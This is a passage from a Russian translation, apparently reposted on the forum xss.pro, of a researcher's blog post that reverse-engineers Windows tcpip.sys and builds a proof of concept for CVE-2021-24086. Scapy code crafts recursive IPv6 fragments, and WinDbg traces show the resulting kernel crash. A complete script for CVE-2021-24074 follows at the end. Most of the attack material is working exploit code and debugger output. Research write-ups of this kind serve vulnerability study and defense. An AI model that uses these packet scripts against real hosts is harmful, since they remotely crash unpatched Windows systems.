sendp([first, second], iface='eth1')
Посмотрим, как будет выглядеть повторная сборка после получения этих пакетов:
kd> bp tcpip!Ipv6pReassembleDatagram
kd> g
Breakpoint 0 hit
tcpip!Ipv6pReassembleDatagram:
fffff800`117cdd6c 4488442418 mov byte ptr [rsp+18h],r8b
kd> p
tcpip!Ipv6pReassembleDatagram+0x5:
fffff800`117cdd71 48894c2408 mov qword ptr [rsp+8],rcx
// ...
kd>
tcpip!Ipv6pReassembleDatagram+0x9c:
fffff800`117cde08 48ff1569660700 call qword ptr [tcpip!_imp_NetioAllocateAndReferenceNetBufferAndNetBufferList (fffff800`11844478)]
kd>
tcpip!Ipv6pReassembleDatagram+0xa3:
fffff800`117cde0f 0f1f440000 nop dword ptr [rax+rax]
kd> r @rax
rax=ffffc107f7be1d90 <- this is the allocated NBL
kd> !ndiskd.nbl @rax
NBL ffffc107f7be1d90 Next NBL NULL
First NB ffffc107f7be1f10 Source NULL
Pool ffffc107f58ba980 - NETIO
Flags NBL_ALLOCATED
Walk the NBL chain Dump data payload
Show out-of-band information Display as Wireshark hex dump
; The first NB is empty; its length is 0 as expected
kd> !ndiskd.nb ffffc107f7be1f10
NB ffffc107f7be1f10 Next NB NULL
Length 0 Source pool ffffc107f58ba980
First MDL 0 DataOffset 0
Current MDL [NULL] Current MDL offset 0
View associated NBL
// ...
kd> r @rcx, @rdx
rcx=ffffc107f7be1f10 rdx=0000000000000028 <- the first NB and the size to allocate for it
kd>
tcpip!Ipv6pReassembleDatagram+0xd9:
fffff800`117cde45 e80a35ecff call tcpip!NetioRetreatNetBuffer (fffff800`11691354)
kd> p
tcpip!Ipv6pReassembleDatagram+0xde:
fffff800`117cde4a 85c0 test eax,eax
; The first NB now has 0x28 bytes backing MDL
kd> !ndiskd.nb ffffc107f7be1f10
NB ffffc107f7be1f10 Next NB NULL
Length 0n40 Source pool ffffc107f58ba980
First MDL ffffc107f5ee8040 DataOffset 0n56
Current MDL [First MDL] Current MDL offset 0n56
View associated NBL
// ...
; Getting access to the backing buffer
kd>
tcpip!Ipv6pReassembleDatagram+0xfe:
fffff800`117cde6a 48ff1507630700 call qword ptr [tcpip!_imp_NdisGetDataBuffer (fffff800`11844178)]
kd> p
tcpip!Ipv6pReassembleDatagram+0x105:
fffff800`117cde71 0f1f440000 nop dword ptr [rax+rax]
; This is the backing buffer; it has leftover data, but gets initialized later
kd> db @rax
ffffc107`f5ee80b0 05 02 00 00 01 00 8f 00-41 dc 00 00 00 01 04 00 ........A.......
Ладно, похоже, у нас есть план - приступим к работе.
Изготовление пакета смерти: погоня за фантомами
Хорошо... отправка пакета с большим заголовком должна быть тривиальной, не так ли? Это то, о чем я думал изначально. Попробовав разные вещи для достижения этой цели, я быстро понял, что это будет не так просто. Главный вопрос - это MTU. По сути, сетевые устройства не позволяют отправлять пакеты размером более ~ 1200 байт. Интернет-контент предполагает, что некоторые карты Ethernet и сетевые коммутаторы позволяют увеличить этот предел. Поскольку я проводил свой тест в своей собственной лаборатории Hyper-V, я решил, что было бы справедливо попытаться воспроизвести разыменование NULL с параметрами, не являющимися параметрами по умолчанию, поэтому я искал способ увеличить MTU на виртуальном коммутаторе до 64 КБ.
Проблема в том, что Hyper-V не позволял мне этого делать. Единственный параметр, который я нашел, позволил мне увеличить лимит примерно до 9 КБ, что очень далеко от 64 КБ, необходимых мне для запуска этой проблемы. В этот момент я почувствовал разочарование, потому что я чувствовал, что я так близок к концу. Несмотря на то, что я читал, что эта уязвимость может быть распространена через Интернет, я продолжал двигаться в этом неправильном направлении. Если пакет можно было поулчить из Интернета, это означало, что он должен был пройти через обычное сетевое оборудование, и пакет размером 64 КБ не мог работать. Но какое-то время я игнорировал эту суровую правду.
В конце концов, я смирился с тем, что, вероятно, иду не в том направлении. Поэтому я пересмотрел свои возможности. Я полагал, что проверка ошибок, которую я запустил выше, не была той, которую я мог бы запустить с пакетами, полученными из Интернета. Возможно, хотя может быть другой путь кода с очень похожим шаблоном (отступление + NdisGetDataBuffer), который приведет к багчеку. Я заметил, что поле TotalLength также немного усекается в функции и записывается в заголовок IPv6 пакета. Этот заголовок в конечном итоге копируется в окончательный пересобранный заголовок IPv6:
// The ROR2 is basically htons.
// One weird thing here is that TotalLength is truncated to 16b.
// We are able to make TotalLength >= 0x10000 by crafting a large
// packet via fragmentation.
// The issue with that is that, the size from the IPv6 header is smaller than
// the real total size. It's kinda hard to see how this would cause subsequent
// issue but hmm, yeah.
Reassembly->Ipv6.length = __ROR2__(TotalLength, 8);
// B00m, Buffer can be NULL here because of the issue discussed above.
// This copies the saved IPv6 header from the first fragment into the
// first part of the reassembled packet.
*Buffer = Reassembly->Ipv6;
Моя теория заключалась в том, что может быть есть какой-то код, который будет читать этот Ipv6.length (который усечен, поскольку __ROR2__ ожидает uint16_t), и в результате может произойти что-то плохое. Хотя длина в конечном итоге будет иметь меньшее значение, чем фактический реальный размер пакета; Мне было трудно придумать сценарий, при котором это могло бы вызвать проблемы, но я все еще преследовал эту теорию, поскольку это было единственное, что у меня было.
На этом этапе я начал проверять каждый демультиплексор, который мы видели ранее. Я искал те, которые как-то использовали бы это поле длины, и искал похожие шаблоны NdisGetDataBuffer. Ничего такого я не нашел. Думая, что мне может чего-то не хватать при статическом анализе, я также активно использовал WinDbg для проверки своей работы. Я использовал аппаратные точки останова для отслеживания доступа к этим двум байтам, но без попадания. Всегда. Раздражает.
После нескольких попыток я начал думать, что, возможно, снова двинулся в неправильном направлении. Возможно, мне действительно нужно найти способ отправить такой большой пакет, не нарушая MTU. Но как?
Изготовление пакета смерти: прыжок веры
Хорошо, поэтому я решил начать все заново. Возвращаясь к общей картине, я немного изучил алгоритм повторной сборки, снова изменил его на тот случай, если я где-то пропустил ключ, но ничего не произошло...
Смогу ли я фрагментировать пакет с очень большим заголовком и обманом заставить стек повторно собрать собранный пакет? Ранее мы видели, что можем использовать повторную сборку как примитив для сшивания фрагментов вместе; поэтому вместо того, чтобы пытаться отправить очень большой фрагмент, возможно, мы могли бы разбить большой на более мелкие и сшить их вместе в памяти. Честно говоря, это было похоже на большой прыжок вперед, но, основываясь на моих усилиях по реверс инижинирингу, я действительно не увидел ничего, что могло бы этому помешать. Идея была расплывчатой, но казалось, что стоит попробовать. Но как это на самом деле будет работать?
Присев на минутку, я придумал эту теорию. Я создал очень большой фрагмент с множеством заголовков; достаточно, чтобы вызвать ошибку, если я могу запустить еще одну сборку. Затем я фрагментировал этот фрагмент, чтобы его можно было отправить к цели, не нарушая MTU.
Python:
reassembled_pkt = IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
# ....
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xa0)),
]) \
/ IPv6ExtHdrFragment(
id = second_pkt_id, m = 1,
nh = 17, offset = 0
) \
/ UDP(dport = 31337, sport = 31337, chksum=0x7e7f)
reassembled_pkt = bytes(reassembled_pkt)
frags = frag6(args.target, frag_id, reassembled_pkt, 60)
Произойдет повторная сборка, и tcpip.sys построит этот огромный повторно собранный фрагмент в памяти; это здорово, потому что я не думал, что это сработает. Вот как это выглядит в WinDbg:
kd> bp tcpip+01ADF71 ".echo Reassembled NB; r @r14;"
kd> g
Reassembled NB
r14=ffff800fa2a46f10
tcpip!Ipv6pReassembleDatagram+0x205:
fffff801`0a7cdf71 41394618 cmp dword ptr [r14+18h],eax
kd> !ndiskd.nb @r14
NB ffff800fa2a46f10 Next NB NULL
Length 10020 Source pool ffff800fa06ba240
First MDL ffff800fa0eb1180 DataOffset 0n56
Current MDL [First MDL] Current MDL offset 0n56
View associated NBL
kd> !ndiskd.nbl ffff800fa2a46d90
NBL ffff800fa2a46d90 Next NBL NULL
First NB ffff800fa2a46f10 Source NULL
Pool ffff800fa06ba240 - NETIO
Flags NBL_ALLOCATED
Walk the NBL chain Dump data payload
Show out-of-band information Display as Wireshark hex dump
kd> !ndiskd.nbl ffff800fa2a46d90 -data
NET_BUFFER ffff800fa2a46f10
MDL ffff800fa0eb1180
ffff800fa0eb11f0 60 00 00 00 ff f8 3c 40-fe 80 00 00 00 00 00 00 `·····<@········
ffff800fa0eb1200 02 15 5d ff fe e4 30 0e-ff 02 00 00 00 00 00 00 ··]···0·········
ffff800fa0eb1210 00 00 00 00 00 00 00 01 ········
...
MDL ffff800f9ff5e8b0
ffff800f9ff5e8f0 3c e1 01 ff 61 61 61 61-61 61 61 61 61 61 61 61 <···aaaaaaaaaaaa
ffff800f9ff5e900 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
ffff800f9ff5e910 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
ffff800f9ff5e920 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
ffff800f9ff5e930 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
ffff800f9ff5e940 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
ffff800f9ff5e950 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
ffff800f9ff5e960 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
...
MDL ffff800fa0937280
ffff800fa09372c0 7a 69 7a 69 00 08 7e 7f zizi··~·
То, что мы видим выше, - это пересобранный первый фрагмент.
Python:
reassembled_pkt = IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
# ...
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xa0)),
]) \
/ IPv6ExtHdrFragment(
id = second_pkt_id, m = 1,
nh = 17, offset = 0
) \
/ UDP(dport = 31337, sport = 31337, chksum=0x7e7f)
Это фрагмент длиной 10020 байт, и вы можете видеть, что расширение ndiskd проходит по длинной цепочке MDL, описывающей содержимое этого фрагмента. Последний MDL - это заголовок UDP-части фрагмента. Осталось запустить еще одну пересборку. Что, если мы отправим другой фрагмент, который является частью той же группы; это вызовет еще одну пересборку?
Что ж, давайте посмотрим, работает ли следующее:
Python:
reassembled_pkt_2 = Ether() \
/ IPv6(dst = args.target) \
/ IPv6ExtHdrFragment(id = second_pkt_id, m = 0, offset = 1, nh = 17) \
/ 'doar-e ftw'
sendp(reassembled_pkt_2, iface = args.iface)
Вот что мы видим в WinDbg:
kd> bp tcpip!Ipv6pReassembleDatagram
; This is the first reassembly; the output packet is the first large fragment
kd> g
Breakpoint 0 hit
tcpip!Ipv6pReassembleDatagram:
fffff805`4a5cdd6c 4488442418 mov byte ptr [rsp+18h],r8b
; This is the second reassembly; it combines the first very large fragment, and the second fragment we just sent
kd> g
Breakpoint 0 hit
tcpip!Ipv6pReassembleDatagram:
fffff805`4a5cdd6c 4488442418 mov byte ptr [rsp+18h],r8b
...
; Let's see the bug happen live!
kd>
tcpip!Ipv6pReassembleDatagram+0xce:
fffff805`4a5cde3a 0fb79424a8000000 movzx edx,word ptr [rsp+0A8h]
kd>
tcpip!Ipv6pReassembleDatagram+0xd6:
fffff805`4a5cde42 498bce mov rcx,r14
kd>
tcpip!Ipv6pReassembleDatagram+0xd9:
fffff805`4a5cde45 e80a35ecff call tcpip!NetioRetreatNetBuffer (fffff805`4a491354)
kd> r @edx
edx=10 <- truncated size
// ...
kd>
tcpip!Ipv6pReassembleDatagram+0xe6:
fffff805`4a5cde52 8b9424a8000000 mov edx,dword ptr [rsp+0A8h]
kd>
tcpip!Ipv6pReassembleDatagram+0xed:
fffff805`4a5cde59 41b901000000 mov r9d,1
kd>
tcpip!Ipv6pReassembleDatagram+0xf3:
fffff805`4a5cde5f 8364242000 and dword ptr [rsp+20h],0
kd>
tcpip!Ipv6pReassembleDatagram+0xf8:
fffff805`4a5cde64 4533c0 xor r8d,r8d
kd>
tcpip!Ipv6pReassembleDatagram+0xfb:
fffff805`4a5cde67 498bce mov rcx,r14
kd>
tcpip!Ipv6pReassembleDatagram+0xfe:
fffff805`4a5cde6a 48ff1507630700 call qword ptr [tcpip!_imp_NdisGetDataBuffer (fffff805`4a644178)]
kd> r @rdx
rdx=0000000000010010 <- non truncated size
kd> p
tcpip!Ipv6pReassembleDatagram+0x105:
fffff805`4a5cde71 0f1f440000 nop dword ptr [rax+rax]
kd> r @rax
rax=0000000000000000 <- NdisGetDataBuffer returned NULL!!!
kd> g
KDTARGET: Refreshing KD connection
*** Fatal System Error: 0x000000d1
(0x0000000000000000,0x0000000000000002,0x0000000000000001,0xFFFFF8054A5CDEBB)
Break instruction exception - code 80000003 (first chance)
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
nt!DbgBreakPointWithStatus:
fffff805`473c46a0 cc int 3
kd> kc
# Call Site
00 nt!DbgBreakPointWithStatus
01 nt!KiBugCheckDebugBreak
02 nt!KeBugCheck2
03 nt!KeBugCheckEx
04 nt!KiBugCheckDispatch
05 nt!KiPageFault
06 tcpip!Ipv6pReassembleDatagram
07 tcpip!Ipv6pReceiveFragment
08 tcpip!Ipv6pReceiveFragmentList
09 tcpip!IppReceiveHeaderBatch
0a tcpip!IppFlcReceivePacketsCore
0b tcpip!IpFlcReceivePackets
0c tcpip!FlpReceiveNonPreValidatedNetBufferListChain
0d tcpip!FlReceiveNetBufferListChainCalloutRoutine
0e nt!KeExpandKernelStackAndCalloutInternal
0f nt!KeExpandKernelStackAndCalloutEx
10 tcpip!FlReceiveNetBufferListChain
11 NDIS!ndisMIndicateNetBufferListsToOpen
12 NDIS!ndisMTopReceiveNetBufferLists
13 NDIS!ndisCallReceiveHandler
14 NDIS!ndisInvokeNextReceiveHandler
15 NDIS!NdisMIndicateReceiveNetBufferLists
16 netvsc!ReceivePacketMessage
17 netvsc!NvscKmclProcessPacket
18 nt!KiInitializeKernel
19 nt!KiSystemStartup
Невероятно! Нам удалось реализовать обсуждаемую идею рекурсивной фрагментации.
Вау, я действительно не думал, что это действительно сработает. Мораль такова: не оставляйте без внимания ни один камешек, следуйте своей интуиции и достигните состояния отсутствия неизвестного.
Вывод
В этом посте я попытался провести вас с собой через свое путешествие по написанию PoC для CVE-2021-24086, настоящей удаленной уязвимости DoS, затрагивающей драйвер tcpip.sys Windows. С нуля до удаленного BSoD. PoC доступен на моем гитхабе здесь: 0vercl0k/CVE-2021-24086.
Я уверен, что я потерял около 99% своих читателей, так как это довольно длинный и непростой пост, но если вы дошли до него, вы должны присоединиться и зависнуть в недавно созданном дневнике реверс-инженера в дискорде : https://discord.gg/4JBWKDNyYs. Мы пытаемся создать сообщество людей, увлекающихся реверс-инженерингом.
Надеюсь, мы также сможем привлечь больше интереса к внешним донатам
И последнее, но не менее важное: особые приветы морим друзьям: @ yrp604, @__ x86 и @jonathansalwan за вычитку этой статьи.
Бонус: CVE-2021-24074
Вот Poc, который я построил на основе высококачественного поста в блоге Армиса:
Python:
# Axel '0vercl0k' Souchet - April 4 2021
# Extremely detailed root-cause analysis was made by Armis:
# https://www.armis.com/resources/iot-security-blog/from-urgent-11-to-frag-44-microsoft-patches-critical-vulnerabilities-in-windows-tcp-ip-stack/
from scapy.all import *
import argparse
import codecs
import random
def trigger(args):
'''
kd> g
oob?
tcpip!Ipv4pReceiveRoutingHeader+0x16a:
fffff804`453c6f7a 4d8d2c1c lea r13,[r12+rbx]
kd> p
tcpip!Ipv4pReceiveRoutingHeader+0x16e:
fffff804`453c6f7e 498bd5 mov rdx,r13
kd> db @r13
ffffb90e`85b78220 c0 82 b7 85 0e b9 ff ff-38 00 04 10 00 00 00 00 ........8.......
kd> dqs @r13 l1
ffffb90e`85b78220 ffffb90e`85b782c0
kd> p
tcpip!Ipv4pReceiveRoutingHeader+0x171:
fffff804`453c6f81 488d0d58830500 lea rcx,[tcpip!Ipv4Global (fffff804`4541f2e0)]
kd>
tcpip!Ipv4pReceiveRoutingHeader+0x178:
fffff804`453c6f88 e8d7e1feff call tcpip!IppIsInvalidSourceAddressStrict (fffff804`453b5164)
kd> db @rdx
kd> p
tcpip!Ipv4pReceiveRoutingHeader+0x17d:
fffff804`453c6f8d 84c0 test al,al
kd> r.
al=00000000`00000000 al=00000000`00000000
kd> p
tcpip!Ipv4pReceiveRoutingHeader+0x17f:
fffff804`453c6f8f 0f85de040000 jne tcpip!Ipv4pReceiveRoutingHeader+0x663 (fffff804`453c7473)
kd>
tcpip!Ipv4pReceiveRoutingHeader+0x185:
fffff804`453c6f95 498bcd mov rcx,r13
kd>
Breakpoint 3 hit
tcpip!Ipv4pReceiveRoutingHeader+0x188:
fffff804`453c6f98 e8e7dff8ff call tcpip!Ipv4UnicastAddressScope (fffff804`45354f84)
kd> dqs @rcx l1
ffffb90e`85b78220 ffffb90e`85b782c0
Call-stack (skip first hit):
kd> kc
# Call Site
00 tcpip!Ipv4pReceiveRoutingHeader
01 tcpip!IppReceiveHeaderBatch
02 tcpip!Ipv4pReassembleDatagram
03 tcpip!Ipv4pReceiveFragment
04 tcpip!Ipv4pReceiveFragmentList
05 tcpip!IppReceiveHeaderBatch
06 tcpip!IppFlcReceivePacketsCore
07 tcpip!IpFlcReceivePackets
08 tcpip!FlpReceiveNonPreValidatedNetBufferListChain
09 tcpip!FlReceiveNetBufferListChainCalloutRoutine
0a nt!KeExpandKernelStackAndCalloutInternal
0b nt!KeExpandKernelStackAndCalloutEx
0c tcpip!FlReceiveNetBufferListChain
Snippet:
__int16 __fastcall Ipv4pReceiveRoutingHeader(Packet_t *Packet)
{
// ...
// kd> db @rax
// ffffdc07`ff209170 ff ff 04 00 61 62 63 00-54 24 30 48 89 14 01 48 ....abc.T$0H...H
RoutingHeaderFirst = NdisGetDataBuffer(FirstNetBuffer, Packet->RoutingHeaderOptionLength, &v50[0].qw2, 1u, 0);
NetioAdvanceNetBufferList(NetBufferList, v8);
OptionLenFirst = RoutingHeaderFirst[1];
LenghtOptionFirstMinusOne = (unsigned int)(unsigned __int8)RoutingHeaderFirst[2] - 1;
RoutingOptionOffset = LOBYTE(Packet->RoutingOptionOffset);
if (OptionLenFirst < 7u ||
LenghtOptionFirstMinusOne > OptionLenFirst - sizeof(IN_ADDR))
{
// ...
goto Bail_0;
}
// ...
'''
id = random.randint(0, 0xff)
# dst_ip isn't a broadcast IP because otherwise we fail a check in
# Ipv4pReceiveRoutingHeader; if we don't take the below branch
# we don't hit the interesting bits later:
# if (Packet->CurrentDestinationType == NlatUnicast) {
# v12 = &RoutingHeaderFirst[LenghtOptionFirstMinusOne];
dst_ip = '192.168.2.137'
src_ip = '120.120.120.0'
# UDP
nh = 17
content = bytes(UDP(sport = 31337, dport = 31338) / '1')
one = Ether() \
/ IP(
src = src_ip,
dst = dst_ip,
flags = 1,
proto = nh,
frag = 0,
id = id,
options = [IPOption_Security(
length = 0xb,
security = 0x11,
# This is used for as an ~upper bound in Ipv4pReceiveRoutingHeader:
compartment = 0xffff,
# This is the offset that allows us to index out of the
# bounds of the second fragment.
# Keep in mind that, the out of bounds data is first used
# before triggering any corruption (in Ipv4pReceiveRoutingHeader):
# - IppIsInvalidSourceAddressStrict,
# - Ipv4UnicastAddressScope.
# if (IppIsInvalidSourceAddressStrict(Ipv4Global, &RoutingHeaderFirst[LenghtOptionFirstMinusOne])
# || (Ipv4UnicastAddressScope(&RoutingHeaderFirst[LenghtOptionFirstMinusOne]),
# v13 = Ipv4UnicastAddressScope(&Packet->RoutingOptionSourceIp),
# v14 < v13) )
# The upper byte of handling_restrictions is `RoutingHeaderFirst[2]` in the above snippet
# Offset of 6 allows us to have &RoutingHeaderFirst[LenghtOptionFirstMinusOne] pointing on
# one.IP.options.transmission_control_code; last byte is OOB.
# kd>
# tcpip!Ipv4pReceiveRoutingHeader+0x178:
# fffff804`5c076f88 e8d7e1feff call tcpip!IppIsInvalidSourceAddressStrict (fffff804`5c065164)
# kd> db @rdx
# ffffdc07`ff209175 62 63 00 54 24 30 48 89-14 01 48 c0 92 20 ff 07 bc.T$0H...H.. ..
# ^
# |_ oob
handling_restrictions = (6 << 8),
transmission_control_code = b'\x11\xc1\xa8'
)]
) / content[: 8]
two = Ether() \
/ IP(
src = src_ip,
dst = dst_ip,
flags = 0,
proto = nh,
frag = 1,
id = id,
options = [
IPOption_NOP(),
IPOption_NOP(),
IPOption_NOP(),
IPOption_NOP(),
IPOption_LSRR(
pointer = 0x8,
routers = ['11.22.33.44']
),
]
) / content[8: ]
sendp([one, two], iface='eth1')
def main():
parser = argparse.ArgumentParser()
parser.add_argument('--target', default = 'ff02::1')
parser.add_argument('--dport', default = 500)
args = parser.parse_args()
trigger(args)
return
if __name__ == '__main__':
main()
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://doar-e.github.io/blog/2021/04/15/reverse-engineering-tcpipsys-mechanics-of-a-packet-of-the-death-cve-2021-24086/